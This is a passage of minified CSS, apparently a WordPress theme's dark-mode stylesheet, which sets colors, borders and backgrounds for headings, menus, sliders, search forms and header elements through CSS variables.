.penci-homepage-title.style-14 .inner-arrow:before,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-15 .inner-arrow{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-border-arrow.penci-homepage-title.style-2:after{border-top-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-border-arrow.penci-homepage-title:after{background-color:var(--pcbg-cl);border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-border-arrow.penci-homepage-title .inner-arrow,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-4 .inner-arrow:after,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-4 .inner-arrow:before,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-7,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-9{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-border-arrow.penci-homepage-title:before{border-top-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-5,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-7{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-16.penci-border-arrow:after{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-border-arrow.penci-homepage-title.style-5 .inner-arrow,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-10,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-12{border-bottom-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-5{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-7 .inner-arrow:before,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-9 .inner-arrow:before{background-color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-10{border-top-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-13.pcalign-center .inner-arrow:before,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-13.pcalign-right .inner-arrow:before{border-left-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-13.pcalign-center .inner-arrow:after,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-13.pcalign-left .inner-arrow:after{border-right-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-12 .inner-arrow:before,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-12.pcalign-center .inner-arrow:after,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-12.pcalign-right .inner-arrow:after{border-bottom-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-11 .inner-arrow:after,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-11 .inner-arrow:before{border-top-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-15.penci-border-arrow:before{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-15.penci-border-arrow:after{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-18.penci-border-arrow:after{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title .inner-arrow,body.pcdm-enable.pcdark-mode .penci-homepage-title.penci-magazine-title .inner-arrow a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .home-featured-cat-content .magcat-detail h3 a{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .home-featured-cat-content .magcat-detail h3 a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .home-featured-cat-content .grid-post-box-meta span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-photo .grid-post-box-meta span,body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-photo .grid-post-box-meta span a,body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-photo .grid-post-box-meta span:after,body.pcdm-enable.pcdark-mode .home-featured-cat-content .penci-single-mag-slider .grid-post-box-meta span,body.pcdm-enable.pcdark-mode .home-featured-cat-content .penci-single-mag-slider .grid-post-box-meta span a,body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .mag-meta,body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .mag-meta span a,body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-15 .first-post .grid-post-box-meta span,body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-15 .first-post .grid-post-box-meta span a{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .home-featured-cat-content .grid-post-box-meta span a{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .home-featured-cat-content .grid-post-box-meta span a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .home-featured-cat-content .first-post .magcat-detail .mag-header:after{background:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-slider ol.penci-control-nav li a.penci-active,body.pcdm-enable.pcdark-mode .penci-slider ol.penci-control-nav li a:hover{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .penci-featured-cat-seemore a,body.pcdm-enable.pcdark-mode .penci-featured-cat-seemore.penci-btn-make-button a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-featured-cat-seemore.penci-btn-make-button a{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-photo .magcat-detail h3 a,body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .first-post .magcat-detail h3 a,body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-15 .first-post .magcat-detail h3 a,body.pcdm-enable.pcdark-mode .penci-single-mag-slider .magcat-detail .magcat-titlte a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .home-featured-cat-content .mag-photo .magcat-detail h3 a:hover,body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-14 .first-post .magcat-detail h3 a:hover,body.pcdm-enable.pcdark-mode .home-featured-cat-content.style-15 .first-post .magcat-detail h3 a:hover,body.pcdm-enable.pcdark-mode .penci-single-mag-slider .magcat-detail .magcat-titlte a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .text-grid-info h3 a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .text-grid-info h3 a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .portfolio-buttons a{color:var(--pctext-cl);border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .portfolio-item .portfolio-buttons a:hover{color:var(--pctext-cl);border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .portfolio-item .portfolio-buttons a.liked>i{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .text-grid-cat,body.pcdm-enable.pcdark-mode .text-grid-cat a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .text-grid-cat a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-portfolio-thumbnail a:after{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .inner-item-portfolio .portfolio-desc h3{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .inner-item-portfolio .portfolio-desc span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .inner-item-portfolio .portfolio-desc h3:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .inner-item-portfolio .portfolio-desc span:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .header-search-style-showup .show-search{background-color:var(--pcbg-cl);border-color:var(--pcaccent-cl);box-shadow:0 3px 3px rgba(64,64,64,.6);-mox-box-shadow:0 3px 3px rgba(64,64,64,.6);-webkit-box-shadow:0 3px 3px rgba(64,64,64,.6)}body.pcdm-enable.pcdark-mode .header-search-style-showup .show-search:before{border-color:transparent transparent var(--pcaccent-cl) transparent}body.pcdm-enable.pcdark-mode .header-search-style-showup .show-search form.pc-searchform input.search-input{background-color:var(--pcbg-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .header-search-style-showup .show-search form.pc-searchform input.search-input:-ms-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .header-search-style-showup .show-search form.pc-searchform input.search-input::-ms-input-placeholder{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .header-search-style-showup .show-search form.pc-searchform input.search-input,body.pcdm-enable.pcdark-mode .header-search-style-showup .sticky-wrapper.is-sticky .show-search form.pc-searchform input.search-input,body.pcdm-enable.pcdark-mode .header-search-style-showup .sticky-wrapper:not(.is-sticky) .show-search form.pc-searchform input.search-input{border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .header-search-style-showup .show-search form.pc-searchform .searchsubmit{background-color:var(--pcaccent-cl);color:#fff}body.pcdm-enable.pcdark-mode .header-search-style-showup .show-search form.pc-searchform .searchsubmit:hover{background-color:var(--pcbg-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-homepage-title.style-11 .inner-arrow:after,body.pcdm-enable.pcdark-mode .penci-homepage-title.style-11 .inner-arrow:before,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:after,body.pcdm-enable.pcdark-mode .penci-sidebar-content.style-11 .penci-border-arrow .inner-arrow:before{border-top-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .post-entry.blockquote-style-2 blockquote{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .penci-border-arrow .inner-arrow{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #widget-area .penci-border-arrow .inner-arrow{background-color:transparent}body.pcdm-enable.pcdark-mode .elementor .elementor-element.elementor-section:not(.elementor-motion-effects-element-type-background),body.pcdm-enable.pcdark-mode .elementor .elementor-element.elementor-section>.elementor-motion-effects-container>.elementor-motion-effects-layer,body.pcdm-enable.pcdark-mode .elementor .elementor-element>.elementor-widget-container{background-color:transparent;border-color:var(--pcborder-cl);transition:none}body.pcdm-enable.pcdark-mode .elementor .elementor-element .elementor-button{color:var(--pctext-cl);background-color:inherit}body.pcdm-enable.pcdark-mode .elementor .elementor-element .penci-soledad-product:not(.style-6) a{color:var(--pcl-cl)!important;border-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .elementor .elementor-element div:not(.penci-bgrid-content-on) a:not(.penci-btn-readmore):hover{color:var(--pclh-cl)!important;border-color:var(--pclh-cl)!important}body.pcdm-enable.pcdark-mode .elementor-widget:not(.elementor-widget-penci-big-grid) *,body.pcdm-enable.pcdark-mode .penci_recent-posts-sc ul.side-newsfeed li,body.pcdm-enable.pcdark-mode .tags-share-box.tags-share-box-top{border-color:var(--pcborder-cl)!important;fill:var(--pctext-cl)!important;color:var(--pctext-cl)!important}body.pcdm-enable.pcdark-mode .elementor .elementor-element .elementor-shape *{fill:var(--pcbg-cl)!important}body.pcdm-enable.pcdark-mode .mfp-preloader{color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .mfp-preloader a{color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .mfp-preloader a:hover{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .mfp-close{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .mfp-close-btn-in .mfp-close{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .mfp-iframe-holder .mfp-close,body.pcdm-enable.pcdark-mode .mfp-image-holder .mfp-close{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .mfp-counter{color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .mfp-figure small{color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .mfp-title{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .justified-gallery>a>.caption,body.pcdm-enable.pcdark-mode .justified-gallery>div>.caption{background-color:var(--pctext-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .justified-gallery>.spinner>span{background-color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode input{background-color:transparent}body.pcdm-enable.pcdark-mode body{color:var(--pctext-cl);background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode #navigation .menu .sub-menu{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .post-pagination h5{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .post-pagination h5{transition:color .3s}body.pcdm-enable.pcdark-mode .post-pagination h5:hover{color:var(--pclh-cl)}body.pcdm-enable.pcdark-mode .penci-topbar-ctext *{color:inherit}body.pcdm-enable.pcdark-mode .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-next,body.pcdm-enable.pcdark-mode .penci-owl-carousel-slider.penci-headline-posts .penci-owl-nav .owl-prev{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-trending-nav a{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .penci-enews-ticker .headline-title.nticker-style-3:after{border-color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-enews-ticker .penci-trending-nav a,body.pcdm-enable.pcdark-mode .penci-enews-ticker .penci-trending-nav a:hover{color:#666}body.pcdm-enable.pcdark-mode #penci-login-popup{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #penci-login-popup:after{background-color:transparent}body.pcdm-enable.pcdark-mode #navigation .menu>li>a,body.pcdm-enable.pcdark-mode #navigation .sub-menu li a{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode #navigation .menu>li.current-menu-ancestor>a,body.pcdm-enable.pcdark-mode #navigation .menu>li.current-menu-item>a,body.pcdm-enable.pcdark-mode #navigation .menu>li.current_page_item>a,body.pcdm-enable.pcdark-mode #navigation .menu>li:hover>a,body.pcdm-enable.pcdark-mode #navigation .menu>li>a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode #navigation .button-menu-mobile{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-child-categories:after{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode #navigation .menu>ul>li.menu-item-has-children>a:after,body.pcdm-enable.pcdark-mode #navigation .menu>ul>li.penci-mega-menu>a:after,body.pcdm-enable.pcdark-mode #navigation ul.menu>li.menu-item-has-children>a:after,body.pcdm-enable.pcdark-mode #navigation ul.menu>li.penci-mega-menu>a:after{color:inherit}body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after{background-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a{background-color:inherit}body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a:after{color:inherit}body.pcdm-enable.pcdark-mode #navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a span{background-color:inherit}body.pcdm-enable.pcdark-mode #sidebar-nav::-webkit-scrollbar-thumb{background-color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #sidebar-nav::-webkit-scrollbar-corner{background-color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .header-social.sidebar-nav-social a i:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-menu-hbg .header-social.penci-hbg-social-style-2 a:hover i{border-color:var(--pcaccent-cl);color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode #sidebar-nav .menu li a,body.pcdm-enable.pcdark-mode .penci-menu-hbg .menu li a{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode #sidebar-nav .menu li a:hover,body.pcdm-enable.pcdark-mode .penci-menu-hbg .menu li a:hover{color:var(--pclh-cl)}body.pcdm-enable.pcdark-mode #sidebar-nav .menu .sub-menu li a .indicator:hover,body.pcdm-enable.pcdark-mode #sidebar-nav .menu li a .indicator:hover,body.pcdm-enable.pcdark-mode .penci-menu-hbg .menu .sub-menu li a .indicator:hover,body.pcdm-enable.pcdark-mode .penci-menu-hbg .menu li a .indicator:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-menuhbg-toggle .penci-lines:after,body.pcdm-enable.pcdark-mode .penci-menuhbg-toggle .penci-lines:before{background-color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .penci-menuhbg-toggle .lines-button:after{background-color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .penci-menu-hbg-inner #penci-close-hbg:hover:after,body.pcdm-enable.pcdark-mode .penci-menu-hbg-inner #penci-close-hbg:hover:before{background-color:#111}body.pcdm-enable.pcdark-mode .pcheader-icon>a,body.pcdm-enable.pcdark-mode .top-search-classes a.cart-contents,body.pcdm-enable.pcdark-mode .top-search-classes>a{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .pcheader-icon.shoping-cart-icon>a>span{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .main-nav-social a{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .main-nav-social a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .header-social a:hover i{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .dark-layout-enabled .featured-area.featured-video{background-color:#2d2d2d}body.pcdm-enable.pcdark-mode .penci-owl-carousel .penci-owl-nav .owl-next,body.pcdm-enable.pcdark-mode .penci-owl-carousel .penci-owl-nav .owl-prev{color:var(--pctext-cl);background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text .featured-cat a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text h3 a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text .feat-meta span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .feat-meta span>time,body.pcdm-enable.pcdark-mode span.date>time,body.pcdm-enable.pcdark-mode span.side-item-meta>time{color:inherit}body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text .feat-meta span a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-featured-content .feat-text .feat-meta>span:after{color:inherit}body.pcdm-enable.pcdark-mode div:not(.penci-slide-overlay) .penci-mag-featured-content h3 a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-mag-featured-content .cat>a.penci-cat-name{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-mag-featured-content .feat-meta a,body.pcdm-enable.pcdark-mode .penci-mag-featured-content .feat-meta span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .featured-style-35 .feat-text-right h3 a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .featured-style-35 .cat>a.penci-cat-name{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .featured-style-35 .featured-content-excerpt p{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .featured-style-35 .featured-content-excerpt .feat-meta span{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .featured-style-35 .featured-content-excerpt .feat-meta>span:after{color:inherit}body.pcdm-enable.pcdark-mode .featured-style-35 .featured-content-excerpt .feat-meta span a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .featured-slider-excerpt p{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .owl-lazy[src*="20xmlns='http://www.w3.org/2000/svg'"],body.pcdm-enable.pcdark-mode .penci-holder-load:not([style*=background-image]),body.pcdm-enable.pcdark-mode .penci-image-holder:not([style*=background-image]),body.pcdm-enable.pcdark-mode .penci-lazy:not(.lazyloaded),body.pcdm-enable.pcdark-mode .penci-lazy[src*="20xmlns='http://www.w3.org/2000/svg'"],body.pcdm-enable.pcdark-mode .penci-lazy[src*=penci-holder]{background:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .pencislider-container .pencislider-content .pencislider-title a{color:inherit}body.pcdm-enable.pcdark-mode .pencislider-container .pencislider-content .pencislider-title span{color:inherit;background-color:rgba(0,0,0,.4)}body.pcdm-enable.pcdark-mode .pencislider-container .pencislider-content .pencislider-caption span{color:inherit;background-color:rgba(0,0,0,.4)}body.pcdm-enable.pcdark-mode .pc-builder-menu .navigation{background-color:transparent}body.pcdm-enable.pcdark-mode .penci-desktop-bottombar,body.pcdm-enable.pcdark-mode .penci-desktop-bottomblock,body.pcdm-enable.pcdark-mode .penci-desktop-midbar,body.pcdm-enable.pcdark-mode .penci-desktop-topbar,body.pcdm-enable.pcdark-mode .penci-desktop-topblock{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .navigation .menu>li>a,body.pcdm-enable.pcdark-mode .navigation .sub-menu>li>a{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .navigation .menu li.current-menu-item>a,body.pcdm-enable.pcdark-mode .navigation .menu li:hover>a,body.pcdm-enable.pcdark-mode .navigation .menu li>a:hover,body.pcdm-enable.pcdark-mode .navigation .menu>li.current-menu-ancestor>a,body.pcdm-enable.pcdark-mode .navigation .menu>li.current-menu-item>a,body.pcdm-enable.pcdark-mode .navigation .menu>li.current_page_item>a{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .navigation .button-menu-mobile{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .navigation .penci-megamenu .penci-mega-child-categories:after{background-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .navigation .penci-megamenu .penci-mega-thumbnail .mega-cat-name{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .navigation .penci-megamenu .penci-mega-date{color:var(--pcmeta-cl)}body.pcdm-enable.pcdark-mode .navigation .menu>ul.sub-menu>li.menu-item-has-children>a:after,body.pcdm-enable.pcdark-mode .navigation .menu>ul.sub-menu>li.penci-mega-menu>a:after,body.pcdm-enable.pcdark-mode .navigation ul.menu>li.menu-item-has-children>a:after,body.pcdm-enable.pcdark-mode .navigation ul.menu>li.penci-mega-menu>a:after{color:inherit}body.pcdm-enable.pcdark-mode .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories:after{background-color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .navigation.menu-style-2 ul.sub-menu .penci-megamenu .penci-mega-child-categories a{background-color:inherit}body.pcdm-enable.pcdark-mode .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a:after{color:inherit}body.pcdm-enable.pcdark-mode .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a span{background-color:inherit}body.pcdm-enable.pcdark-mode .navigation.menu-item-padding .menu>li.current-menu-ancestor>a,body.pcdm-enable.pcdark-mode .navigation.menu-item-padding .menu>li.current-menu-item>a,body.pcdm-enable.pcdark-mode .navigation.menu-item-padding .menu>li.current_page_item>a,body.pcdm-enable.pcdark-mode .navigation.menu-item-padding .menu>li:hover>a,body.pcdm-enable.pcdark-mode .navigation.menu-item-padding .menu>li>a:hover{background-color:var(--pcbg-l-cl)}body.pcdm-enable.pcdark-mode .penci-header-text-logo .site-name{color:var(--pchb-logo-title-color)}body.pcdm-enable.pcdark-mode #navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories a,body.pcdm-enable.pcdark-mode .navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories a{border-color:transparent}body.pcdm-enable.pcdark-mode #navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories a.cat-active,body.pcdm-enable.pcdark-mode .navigation ul.sub-menu .penci-megamenu .penci-mega-child-categories a.cat-active{background-color:var(--pcbg-cl);border-color:var(--pcborder-cl);color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode #navigation .penci-megamenu .penci-mega-child-categories a.cat-active:before,body.pcdm-enable.pcdark-mode .navigation .penci-megamenu .penci-mega-child-categories a.cat-active:before{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-header-image-logo .site-slogan,body.pcdm-enable.pcdark-mode .penci-header-text-logo .site-slogan{color:var(--pchb-logo-slogan-color)}body.pcdm-enable.pcdark-mode .penci_navbar_mobile .penci-header-text-logo .site-name{color:var(--pchb-m-logo-title-color)}body.pcdm-enable.pcdark-mode .penci_navbar_mobile .site-slogan{color:var(--pchb-m-logo-slogan-color)}body.pcdm-enable.pcdark-mode .pc-logo-sticky.penci-header-text-logo .site-name{color:var(--pchb-logo-s-title-color)}body.pcdm-enable.pcdark-mode .pc-logo-sticky.penci-header-image-logo .site-slogan,body.pcdm-enable.pcdark-mode .pc-logo-sticky.penci-header-text-logo .site-slogan{color:var(--pchb-logo-s-slogan-color)}body.pcdm-enable.pcdark-mode .pb-logo-sidebar-mobile.penci-header-text-logo .site-name{color:var(--pchb-logo-sm-title-color)}body.pcdm-enable.pcdark-mode .pb-logo-sidebar-mobile.penci-header-image-logo .site-slogan,body.pcdm-enable.pcdark-mode .pb-logo-sidebar-mobile.penci-header-text-logo .site-slogan{color:var(--pchb-logo-sm-slogan-color)}body.pcdm-enable.pcdark-mode .penci-builder-element.header-social a i{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .penci-builder-element.header-social a:hover i{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-vertical-line{background-color:var(--pcborder-cl)}body.pcdm-enable.pcdark-mode .pc-builder-element.pc-main-menu .navigation .menu ul.sub-menu li a,body.pcdm-enable.pcdark-mode .pc-builder-element.pc-main-menu .navigation .menu>li>a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .pc-builder-element.pc-main-menu .navigation .menu li.current-menu-item>a,body.pcdm-enable.pcdark-mode .pc-builder-element.pc-main-menu .navigation .menu li>a:hover,body.pcdm-enable.pcdark-mode .pc-builder-element.pc-main-menu .navigation .menu>li.current-menu-ancestor>a,body.pcdm-enable.pcdark-mode .pc-builder-element.pc-main-menu .navigation .menu>li.current-menu-item>a,body.pcdm-enable.pcdark-mode .pc-builder-element.pc-main-menu .navigation .menu>li.current_page_item>a{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .pc-builder-element.pc-second-menu .navigation .menu ul.sub-menu li a,body.pcdm-enable.pcdark-mode .pc-builder-element.pc-second-menu .navigation .menu>li>a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .pc-builder-element.pc-second-menu .navigation .menu li.current-menu-item>a,body.pcdm-enable.pcdark-mode .pc-builder-element.pc-second-menu .navigation .menu li>a:hover,body.pcdm-enable.pcdark-mode .pc-builder-element.pc-second-menu .navigation .menu>li.current-menu-ancestor>a,body.pcdm-enable.pcdark-mode .pc-builder-element.pc-second-menu .navigation .menu>li.current-menu-item>a,body.pcdm-enable.pcdark-mode .pc-builder-element.pc-second-menu .navigation .menu>li.current_page_item>a{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .pc-builder-element.pc-third-menu .navigation .menu ul.sub-menu li a,body.pcdm-enable.pcdark-mode .pc-builder-element.pc-third-menu .navigation .menu>li>a{color:var(--pctext-cl)}body.pcdm-enable.pcdark-mode .pc-builder-element.pc-third-menu .navigation .menu li.current-menu-item>a,body.pcdm-enable.pcdark-mode .pc-builder-element.pc-third-menu .navigation .menu li>a:hover,body.pcdm-enable.pcdark-mode .pc-builder-element.pc-third-menu .navigation .menu>li.current-menu-ancestor>a,body.pcdm-enable.pcdark-mode .pc-builder-element.pc-third-menu .navigation .menu>li.current-menu-item>a,body.pcdm-enable.pcdark-mode .pc-builder-element.pc-third-menu .navigation .menu>li.current_page_item>a{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .penci-builder-element.penci-topbar-trending a.penci-topbar-post-title{color:var(--pcheading-cl)}body.pcdm-enable.pcdark-mode .penci_header.penci_builder_sticky_header_desktop{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .close-mobile-menu-builder{color:var(--pcl-cl)}body.pcdm-enable.pcdark-mode .close-mobile-menu-builder i{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci_navbar_mobile.mobile-sticky{background-color:var(--pcbg-cl)}body.pcdm-enable.pcdark-mode .penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input{color:var(--pcs-d-txt-cl)}body.pcdm-enable.pcdark-mode .penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input::placeholder{color:var(--pcs-d-txt-cl)}body.pcdm-enable.pcdark-mode .penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input:-ms-input-placeholder{color:var(--pcs-d-txt-cl)}body.pcdm-enable.pcdark-mode .penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input::-ms-input-placeholder{color:var(--pcs-d-txt-cl)}body.pcdm-enable.pcdark-mode .penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input{color:var(--pcs-s-txt-cl)}body.pcdm-enable.pcdark-mode .penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input::placeholder{color:var(--pcs-s-txt-cl)}body.pcdm-enable.pcdark-mode .penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input:-ms-input-placeholder{color:var(--pcs-s-txt-cl)}body.pcdm-enable.pcdark-mode .penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input::-ms-input-placeholder{color:var(--pcs-s-txt-cl)}body.pcdm-enable.pcdark-mode .pc-search-form.search-style-icon-button .searchsubmit,body.pcdm-enable.pcdark-mode .pc-search-form.search-style-text-button .searchsubmit{background-color:var(--pcaccent-cl);color:#fff}body.pcdm-enable.pcdark-mode .pc-header-element.penci-topbar-social a{color:inherit}body.pcdm-enable.pcdark-mode .pc-header-element .pctopbar-login-btn .pclogin-sub li a{color:#fff}body.pcdm-enable.pcdark-mode .pc-header-element .pctopbar-login-btn .pclogin-sub li a:hover{color:var(--pcaccent-cl)}body.pcdm-enable.pcdark-mode .header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input{color:var(--pchd-sinput-txt)}body.pcdm-enable.pcdark-mode .header-search-style-showup .pc-wrapbuilder-header .show-search form.pc-searchform input.search-input::placeholder{color:var(--pchd-sinput-txt)}body.pcdm-enable.pcdark-mode .header-search-style-showup 